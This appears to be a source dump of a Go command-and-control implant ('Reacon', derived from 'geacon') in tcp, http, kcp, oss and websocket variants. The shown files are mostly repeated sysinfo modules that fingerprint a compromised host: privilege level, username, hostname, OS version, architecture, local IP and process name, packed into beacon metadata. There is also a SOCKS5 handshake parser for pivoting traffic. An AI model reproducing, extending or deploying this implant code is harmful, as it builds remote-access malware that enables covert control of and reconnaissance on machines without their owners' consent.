fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/sysinfo/sysinfo_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]int8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_http/pkg/sysinfo/sysinfo_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]int8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_http/pkg/sysinfo/sysinfo_linux_arm.go: -------------------------------------------------------------------------------- 1 | //go:build linux && arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]uint8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/sysinfo/sysinfo_linux_arm.go: -------------------------------------------------------------------------------- 1 | //go:build linux && arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]uint8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/sysinfo/sysinfo_linux_arm.go: -------------------------------------------------------------------------------- 1 | //go:build linux && arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]uint8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/sysinfo/sysinfo_linux_arm.go: -------------------------------------------------------------------------------- 1 | //go:build linux && arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]uint8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/statute/method.go: -------------------------------------------------------------------------------- 1 | package statute 2 | 3 | import ( 4 | "io" 5 | ) 6 | 7 | // MethodRequest is the negotiation method request packet 8 | // The SOCKS handshake method request is formed as follows: 9 | // 10 | // +-----+----------+---------------+ 11 | // | VER | NMETHODS | METHODS | 12 | // +-----+----------+---------------+ 13 | // | 1 | 1 | X'00' - X'FF' | 14 | // +-----+----------+---------------+ 15 | type MethodRequest struct { 16 | Ver byte 17 | NMethods byte 18 | Methods []byte // 1-255 bytes 19 | } 20 | 21 | // NewMethodRequest new negotiation method request 22 | func NewMethodRequest(ver byte, medthods []byte) MethodRequest { 23 | return MethodRequest{ 24 | ver, 25 | byte(len(medthods)), 26 | medthods, 27 | } 28 | } 29 | 30 | // ParseMethodRequest parse method request. 31 | func ParseMethodRequest(r io.Reader) (mr MethodRequest, err error) { 32 | // Read the version byte 33 | tmp := []byte{0} 34 | if _, err = r.Read(tmp); err != nil { 35 | return 36 | } 37 | mr.Ver = tmp[0] 38 | 39 | // Read number method 40 | if _, err = r.Read(tmp); err != nil { 41 | return 42 | } 43 | mr.NMethods, mr.Methods = tmp[0], make([]byte, tmp[0]) 44 | // read methods 45 | _, err = io.ReadAtLeast(r, mr.Methods, int(mr.NMethods)) 46 | return 47 | } 48 | 49 | // Bytes method request to bytes 50 | func (sf MethodRequest) Bytes() []byte { 51 | b := make([]byte, 0, 2+sf.NMethods) 52 | b = append(b, sf.Ver, sf.NMethods) 53 | b = append(b, sf.Methods...) 54 | return b 55 | } 56 | 57 | // MethodReply is the negotiation method reply packet 58 | // The SOCKS handshake method response is formed as follows: 59 | // 60 | // +-----+--------+ 61 | // | VER | METHOD | 62 | // +-----+--------+ 63 | // | 1 | 1 | 64 | // +-----+--------+ 65 | type MethodReply struct { 66 | Ver byte 67 | Method byte 68 | } 69 | 70 | // ParseMethodReply parse method reply. 71 | func ParseMethodReply(r io.Reader) (n MethodReply, err error) { 72 | bb := []byte{0, 0} 73 | if _, err = io.ReadFull(r, bb); err != nil { 74 | return 75 | } 76 | n.Ver, n.Method = bb[0], bb[1] 77 | return 78 | } 79 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/sysinfo/sysinfo_linux.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]int8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/sysinfo/sysinfo_linux_arm.go: -------------------------------------------------------------------------------- 1 | //go:build linux && arm 2 | 3 | package sysinfo 4 | 5 | import ( 6 | "encoding/binary" 7 | "errors" 8 | "fmt" 9 | "os" 10 | "os/user" 11 | "strings" 12 | "syscall" 13 | ) 14 | 15 | func arrayToString(x [65]uint8) string { 16 | var buf [65]byte 17 | for i, b := range x { 18 | buf[i] = byte(b) 19 | } 20 | str := string(buf[:]) 21 | if i := strings.Index(str, "\x00"); i != -1 { 22 | str = str[:i] 23 | } 24 | return str 25 | } 26 | 27 | func getUname() syscall.Utsname { 28 | var uname syscall.Utsname 29 | if err := syscall.Uname(&uname); err != nil { 30 | fmt.Printf("Uname: %v", err) 31 | return syscall.Utsname{} //nil 32 | } 33 | return uname 34 | } 35 | 36 | func GetOSVersion() (string, error) { 37 | uname := getUname() 38 | 39 | if len(uname.Release) > 0 { 40 | return arrayToString(uname.Release), nil 41 | } 42 | return "0.0", errors.New("Something wrong") 43 | } 44 | 45 | func IsHighPriv() bool { 46 | if os.Getuid() == 0 { 47 | return true 48 | } 49 | return false 50 | } 51 | 52 | func IsOSX64() (bool, error) { 53 | uname := getUname() 54 | if arrayToString(uname.Machine) == "x86_64" { 55 | return true, nil 56 | } 57 | return false, nil 58 | } 59 | 60 | func GetCodePageANSI() ([]byte, error) { 61 | //linux also use utf8 as default 62 | b := make([]byte, 2) 63 | binary.LittleEndian.PutUint16(b, 65001) 64 | return b, nil 65 | } 66 | 67 | func GetCodePageOEM() ([]byte, error) { 68 | b := make([]byte, 2) 69 | binary.LittleEndian.PutUint16(b, 65001) 70 | return b, nil 71 | } 72 | 73 | func GetUsername() (string, error) { 74 | user, err := user.Current() 75 | if err != nil { 76 | return "", nil 77 | } 78 | usr := user.Username 79 | return usr, nil 80 | } 81 | 82 | func IsPidX64(pid uint32) (bool, error) { 83 | /*is64 := false 84 | 85 | hProcess, err := windows.OpenProcess(uint32(0x1000), false, pid) 86 | if err != nil { 87 | return IsProcessX64() 88 | } 89 | 90 | _ = windows.IsWow64Process(hProcess, &is64)*/ 91 | 92 | return true, nil 93 | } 94 | 95 | // return 0 96 | func GetProcessSessionId(pid int32) uint32 { 97 | return 0 98 | } 99 | -------------------------------------------------------------------------------- /Reacon_http/pkg/sysinfo/meta.go: -------------------------------------------------------------------------------- 1 | package sysinfo 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "os" 7 | "runtime" 8 | "strings" 9 | ) 10 | 11 | func GetProcessName() string { 12 | processName, err := os.Executable() 13 | if err != nil { 14 | return "unknown" 15 | } 16 | // C:\Users\admin\Desktop\cmd.exe 17 | // ./cmd 18 | var result string 19 | slashPos := strings.LastIndex(processName, "\\") 20 | if slashPos > 0 { 21 | result = processName[slashPos+1:] 22 | } 23 | backslashPos := strings.LastIndex(processName, "/") 24 | if backslashPos > 0 { 25 | result = processName[backslashPos+1:] 26 | } 27 | return result 28 | } 29 | 30 | func GetPID() int { 31 | return os.Getpid() 32 | } 33 | 34 | func GetMetaDataFlag() int { 35 | flagInt := 0 36 | if IsHighPriv() { 37 | flagInt += 8 38 | } 39 | isOSX64, _ := IsOSX64() 40 | if isOSX64 { 41 | flagInt += 4 42 | } 43 | isProcessX64 := IsProcessX64() 44 | // there is no need to add 1 when process is x86 45 | if isProcessX64 { 46 | flagInt += 2 47 | } 48 | return flagInt 49 | } 50 | 51 | func GetComputerName() string { 52 | sHostName, _ := os.Hostname() 53 | // message too long for RSA public key size 54 | if runtime.GOOS == "linux" { 55 | sHostName = sHostName + " (Linux)" 56 | } else if runtime.GOOS == "darwin" { 57 | sHostName = sHostName + " (Darwin)" 58 | } 59 | return sHostName 60 | } 61 | 62 | // it is ok 63 | func IsProcessX64() bool { 64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" { 65 | //util.Println("geacon is x64") 66 | return true 67 | } 68 | //util.Println("geacon is x86") 69 | return false 70 | } 71 | 72 | func GetLocalIPInt() uint32 { 73 | addrs, err := net.InterfaceAddrs() 74 | if err != nil { 75 | return 0 76 | } 77 | var ip16 uint32 78 | var ip uint32 79 | for _, address := range addrs { 80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 81 | ipString := ipnet.IP.String() 82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") { 83 | if len(ipnet.IP) == 16 { 84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16]) 85 | } 86 | ip = binary.LittleEndian.Uint32(ipnet.IP) 87 | } 88 | } 89 | } 90 | if ip16 != 0 { 91 | return ip16 92 | } 93 | return ip 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/sysinfo/meta.go: -------------------------------------------------------------------------------- 1 | package sysinfo 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "os" 7 | "runtime" 8 | "strings" 9 | ) 10 | 11 | func GetProcessName() string { 12 | processName, err := os.Executable() 13 | if err != nil { 14 | return "unknown" 15 | } 16 | // C:\Users\admin\Desktop\cmd.exe 17 | // ./cmd 18 | var result string 19 | slashPos := strings.LastIndex(processName, "\\") 20 | if slashPos > 0 { 21 | result = processName[slashPos+1:] 22 | } 23 | backslashPos := strings.LastIndex(processName, "/") 24 | if backslashPos > 0 { 25 | result = processName[backslashPos+1:] 26 | } 27 | return result 28 | } 29 | 30 | func GetPID() int { 31 | return os.Getpid() 32 | } 33 | 34 | func GetMetaDataFlag() int { 35 | flagInt := 0 36 | if IsHighPriv() { 37 | flagInt += 8 38 | } 39 | isOSX64, _ := IsOSX64() 40 | if isOSX64 { 41 | flagInt += 4 42 | } 43 | isProcessX64 := IsProcessX64() 44 | // there is no need to add 1 when process is x86 45 | if isProcessX64 { 46 | flagInt += 2 47 | } 48 | return flagInt 49 | } 50 | 51 | func GetComputerName() string { 52 | sHostName, _ := os.Hostname() 53 | // message too long for RSA public key size 54 | if runtime.GOOS == "linux" { 55 | sHostName = sHostName + " (Linux)" 56 | } else if runtime.GOOS == "darwin" { 57 | sHostName = sHostName + " (Darwin)" 58 | } 59 | return sHostName 60 | } 61 | 62 | // it is ok 63 | func IsProcessX64() bool { 64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" { 65 | //util.Println("geacon is x64") 66 | return true 67 | } 68 | //util.Println("geacon is x86") 69 | return false 70 | } 71 | 72 | func GetLocalIPInt() uint32 { 73 | addrs, err := net.InterfaceAddrs() 74 | if err != nil { 75 | return 0 76 | } 77 | var ip16 uint32 78 | var ip uint32 79 | for _, address := range addrs { 80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 81 | ipString := ipnet.IP.String() 82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") { 83 | if len(ipnet.IP) == 16 { 84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16]) 85 | } 86 | ip = binary.LittleEndian.Uint32(ipnet.IP) 87 | } 88 | } 89 | } 90 | if ip16 != 0 { 91 | return ip16 92 | } 93 | return ip 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/sysinfo/meta.go: -------------------------------------------------------------------------------- 1 | package sysinfo 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "os" 7 | "runtime" 8 | "strings" 9 | ) 10 | 11 | func GetProcessName() string { 12 | processName, err := os.Executable() 13 | if err != nil { 14 | return "unknown" 15 | } 16 | // C:\Users\admin\Desktop\cmd.exe 17 | // ./cmd 18 | var result string 19 | slashPos := strings.LastIndex(processName, "\\") 20 | if slashPos > 0 { 21 | result = processName[slashPos+1:] 22 | } 23 | backslashPos := strings.LastIndex(processName, "/") 24 | if backslashPos > 0 { 25 | result = processName[backslashPos+1:] 26 | } 27 | return result 28 | } 29 | 30 | func GetPID() int { 31 | return os.Getpid() 32 | } 33 | 34 | func GetMetaDataFlag() int { 35 | flagInt := 0 36 | if IsHighPriv() { 37 | flagInt += 8 38 | } 39 | isOSX64, _ := IsOSX64() 40 | if isOSX64 { 41 | flagInt += 4 42 | } 43 | isProcessX64 := IsProcessX64() 44 | // there is no need to add 1 when process is x86 45 | if isProcessX64 { 46 | flagInt += 2 47 | } 48 | return flagInt 49 | } 50 | 51 | func GetComputerName() string { 52 | sHostName, _ := os.Hostname() 53 | // message too long for RSA public key size 54 | if runtime.GOOS == "linux" { 55 | sHostName = sHostName + " (Linux)" 56 | } else if runtime.GOOS == "darwin" { 57 | sHostName = sHostName + " (Darwin)" 58 | } 59 | return sHostName 60 | } 61 | 62 | // it is ok 63 | func IsProcessX64() bool { 64 | if runtime.GOARCH == "amd64" || runtime.GOARCH == "arm64" || runtime.GOARCH == "arm64be" { 65 | //util.Println("geacon is x64") 66 | return true 67 | } 68 | //util.Println("geacon is x86") 69 | return false 70 | } 71 | 72 | func GetLocalIPInt() uint32 { 73 | addrs, err := net.InterfaceAddrs() 74 | if err != nil { 75 | return 0 76 | } 77 | var ip16 uint32 78 | var ip uint32 79 | for _, address := range addrs { 80 | if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() { 81 | ipString := ipnet.IP.String() 82 | if ipnet.IP.To4() != nil && !strings.HasPrefix(ipString, "169.254.") { 83 | if len(ipnet.IP) == 16 { 84 | ip16 = binary.LittleEndian.Uint32(ipnet.IP[12:16]) 85 | } 86 | ip = binary.LittleEndian.Uint32(ipnet.IP) 87 | } 88 | } 89 | } 90 | if ip16 != 0 { 91 | return ip16 92 | } 93 | return ip 94 | } 95 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/sysinfo/meta.go: -------------------------------------------------------------------------------- 1 | package sysinfo 2 | 3 | import ( 4 | "encoding/binary" 5 | "net" 6 | "os" 7 | "runtime" 8 | "strings" 9 | ) 10 | 11 | func GetProcessName() string { 12 | processName, err := os.Executable() 13 | if err != nil { 14 | return "unknown" 15 | } 